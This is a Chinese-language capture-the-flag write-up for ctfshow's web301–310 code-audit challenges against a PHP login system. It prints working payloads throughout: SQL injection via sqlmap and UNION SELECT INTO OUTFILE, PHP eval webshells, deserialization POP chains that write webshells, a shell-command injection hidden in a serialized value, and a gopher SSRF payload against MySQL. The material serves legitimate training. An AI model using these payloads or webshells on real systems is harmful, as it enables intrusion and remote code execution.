CTFSHOW-代码审计

文章发布时间:

最后更新时间:

  • web301. 审计审计我三年前写的代码
    题面打开看看是啥,常见的系统登陆框
    image.png{:height 375, :width 581}
    直接定位至后端处理登陆逻辑处看看有无对参数进行校验
    image.png
    查看checklogin.php,首先可以看到,直接拼接的sql语句,存在SQl注入
    image.png
    然后接下来再看看回显。会有页面跳转,然后报错的话会回显空白
    image.png{:height 272, :width 549}

    直接上sqlmap就可以解决

    1
    sqlmap -u http://b28e9f2c-c18c-44fe-93a5-fa21350a1acc.challenge.ctf.show/checklogin.php --dbms mysql --method="POST" --data="userid=1" -D sds -T sds_user -C "sds_username,sds_password" --dump
    还是脚本小子香啊,这自己写时间盲注调参又得调好久 ![image.png](/image_1666283095777_0.png){:height 149, :width 344} 登陆
  • web302. 修改的地方if(!strcasecmp(sds_decode($userpwd),$row['sds_password'])){
    可以看到还是上一题的那套代码
    其实没太看懂这里修改的有啥用,也就是前面还是没作校验啊。换一种SQL注入思路罢了,这里就直接写SHELL
    1
    1' union select "<?php @assert($_POST['t']);?>" into outfile '/var/www/html/1.php' #
    然后直接读或者蚁剑即可
  • web303.
    继续分析diff,这里限制了username的长度不能超过6
    image.png{:height 113, :width 329}
    说明这里基本上没有注入点了,我们先观察一下其他地方
    dptadd.php中又存在insert注入,参数均可控且是拼接上去的
    image.png
    看下在页面上是怎么传递信息的
    dpt.php上,可以通过新增数据传递信息至dptadd.php
    image.png
    然后再将查询的数据回显
    image.png{:height 214, :width 496}
    所以后续的SQL注入已经找到,问题又回到了怎么才能登陆进去到index.php模块上。一般在渗透上第一步都是先考虑弱口令,我们直接尝试admin/admin
    之后就直接在新增功能点上进行insert注入即可
    1
    2
    3
    4
    5
    6
    7
    8
    # 查库
    whatever', sds_address=(database()) #
    # 查表
    whatever', sds_address=(select group_concat(table_name) from information_schema.tables where table_schema='sds') #
    # 查字段
    whatever', sds_address=(select group_concat(column_name) from information_schema.columns where table_name='sds_fl9g') #
    # 查值
    whatever', sds_address=(select group_concat(flag) from sds_fl9g) #
  • web304. 增加了全局WAF
    1
    2
    3
    function sds_waf($str){
    return preg_match('/[0-9]|[a-z]|-/i', $str);
    }
    同上
  • web305.
    这回来真的WAF了
    image.png
    常用特殊符号都跟我ban了所以基本没戏
    多了一个class.php,来分析一下
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    class user{
    public $username;
    public $password;
    public function __construct($u,$p){
    $this->username=$u;
    $this->password=$p;
    }
    public function __destruct(){
    file_put_contents($this->username, $this->password);
    }
    }
    很简单的php反序列化,可以写shell,看看触发点
    位于登陆检测点checklogin.php,通过cookie传入
    image.png{:height 142, :width 448}
    那就直接利用即可
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    <?php

    class User {
    public $username;
    public $password;

    public function __construct()
    {
    $this ->username = "/var/www/html/1.php";
    $this ->password = '<?php @eval($_POST["attack"]); ?>';
    }
    }

    echo urlencode(serialize(new User()));
    发现并不在网站上,可能还是在数据库里,用蚁剑连一下
    数据库配置如下
    image.png{:height 134, :width 577}
    md,被搞了数据库密码竟然是root
    image.png
  • web306. 开始使用mvc结构
    作者真的循循善诱,用同一套代码不断升级
    可以看到多了三个文件config.php/dao.php/service.php
    整个代码确实用mvc结构建立起来了,但是反序列化点还在
    关注class.php

    image.png{:height 279, :width 400}

    这里依然可反序列化写文件,但是需要其他类触发close
    然后会发现在`dao.php`中dao类是可以调用成员对象的close方法,其对象可控
    ![image.png](/image_1666353099474_0.png){:height 308, :width 273}
    而触发点这次可以看到`index.php`导入了`service.php`,后者又导入了`dao.php/fun.php`,而dao.php导入了`class.php`,所以可以触发反序列化
    
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    <?php
    class log {
    public $title;
    public $info;
    public function __construct() {
    $this->title = "/var/www/html/1.php";
    $this->info = '<?php @eval($_POST["attack"]) ?>';
    }
    }

    class dao {
    private $config;
    private $conn;
    public function __construct() {
    $this->conn = new log();
    }

    }

    echo base64_encode(serialize(new dao()));

    所以需要先登陆进去即可触发,依然是弱口令`admin/admin1`
  • web307. 是不是顺眼多了
    这次连目录结构都规划完整了
    首先还是去看我们的sink点,可以看到函数名换成了closelog,而没有类成员再调用它了,只能换换看
    找一下可以看到还有一个代码执行的sink点,位于dao.php中,config成员属性可控
    image.png{:height 80, :width 633}
    看看哪里可以调用clearCache
    service.php下service类
    image.png{:height 105, :width 415}
    而该类又在logout.php下可以触发
    image.png{:height 118, :width 658}
    POP链已出
    这里刚开始多写了一步导致出不来了,也就是我是拿service.php来作为反序列化起点的,但是仔细会发现,其在触发反序列化后,会重新初始化成员变量,那么之前的构造就断了,所以肯定不能从这类作起点,所以往后走一个从dao开始,也没啥影响(触发的函数名相同)
    image.png{:height 165, :width 425}
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    <?php

    class config {
    private $cache_dir;
    public function __construct() {
    // 这里需要注意shell中$为变量符号所以需要转义
    $this->cache_dir = '; echo "<?php eval(\$_POST[1]);?>" > 1.php ;';
    }
    }


    class dao {
    private $config;
    public function __construct() {
    $this->config = new config();
    }
    }

    echo base64_encode(serialize(new dao()));
  • web308. 需要拿shell
    查看上一题的漏洞sink点,可以看到多了过滤,只能存在字母
    image.png
    但是仔细观察会发现在fun.php中的checkUpdate函数存在SSRF,对url并无过滤
    image.png
    我们是知道内网开了mysql服务,查看配置发现没设密码,典型的未授权访问,直接打getshell
    image.png
    利用gopher打mysql
    image.png
    触发点在index.php
    image.png
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    <?php

    class config {
    public $update_url;
    public function __construct() {
    $this->update_url = "gopher://127.0.0.1:3306/_%a3%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%72%6f%6f%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%48%00%00%00%03%73%65%6c%65%63%74%20%27%3c%3f%70%68%70%20%40%65%76%61%6c%28%24%5f%50%4f%53%54%5b%31%5d%29%3b%20%3f%3e%27%20%69%6e%74%6f%20%6f%75%74%66%69%6c%65%20%27%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%31%2e%70%68%70%27%3b%01%00%00%00%01";
    }
    }


    class dao {
    private $config;
    public function __construct() {
    $this->config = new config();
    }
    }

    echo base64_encode(serialize(new dao()));



    前台登陆还是弱口令,然后cookie传入,连蚁剑,麻了我就说为啥这么卡,一看节点是美国的
  • web309. 需要拿shell,308的方法不行了,mysql 有密码了
    我的思路也是应该还有其他开放的服务,看看还有没有啥未授权
    通过 gopher 协议的延时可以探测端口是否开放,开放的端口会保持连接,而未开放的端口会直接返回页面结果,经探测后 9000端口开放,基本可以确定是 fastcgi
    image.png{:height 387, :width 671}
  • web310. 代码审计告一段落
    这题就算是积累经验吧,没尝试再去访问9000,因为看了wp说关了(后面看配置其实没关啊,其实是flag换了个位置而已)。这里换一个思路,服务器中间件为nginx,所以尝试去读一下其配置文件看看,绝对路径为/etc/nginx/nginx.conf
    https://deepzz.com/post/how-to-write-nginx-server.html
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    # worker进程个数,一般为 CPU 个数,也可选 auto
    worker_processes auto;
    # 错误日志保存路径和级别
    error_log /var/log/nginx/error.log warn;

    events {
    # 每个worker最大连接数
    worker_connections 1024;
    }
    # http 服务定义
    http {
    # 加载 mime 类型
    include /etc/nginx/mime.types;
    # 定义默认数据类型
    default_type application/octet-stream;
    # 是否调用sendfile函数(zero copy 方式)来输出文件,如果磁盘IO重负载应用,可设置为off
    sendfile on;
    keepalive_timeout 65;

    server {
    listen 80; # 监听端口
    server_name localhost;
    root /var/www/html;
    index index.php;

    proxy_set_header Host $host;
    proxy_set_header X-Real-IP $remote_addr;
    proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;

    // 根据 URI 进行配置设置的
    location / {
    try_files $uri $uri/ /index.php?$args;
    }
    // ~ 区分大小写的正则表达式匹配
    location ~ \.php$ {
    try_files $uri =404;
    fastcgi_pass 127.0.0.1:9000;
    fastcgi_index index.php;
    include fastcgi_params;
    fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
    }

    }
    server {
    listen 4476;
    server_name localhost;
    root /var/flag;
    index index.html;

    proxy_set_header Host $host;
    proxy_set_header X-Real-IP $remote_addr;
    proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
    }
    }
    会发现其在4476端口还有个旁站,并且对应的目录及其特别,我们尝试访问(不过只能ssrf访问),应该是有ip限制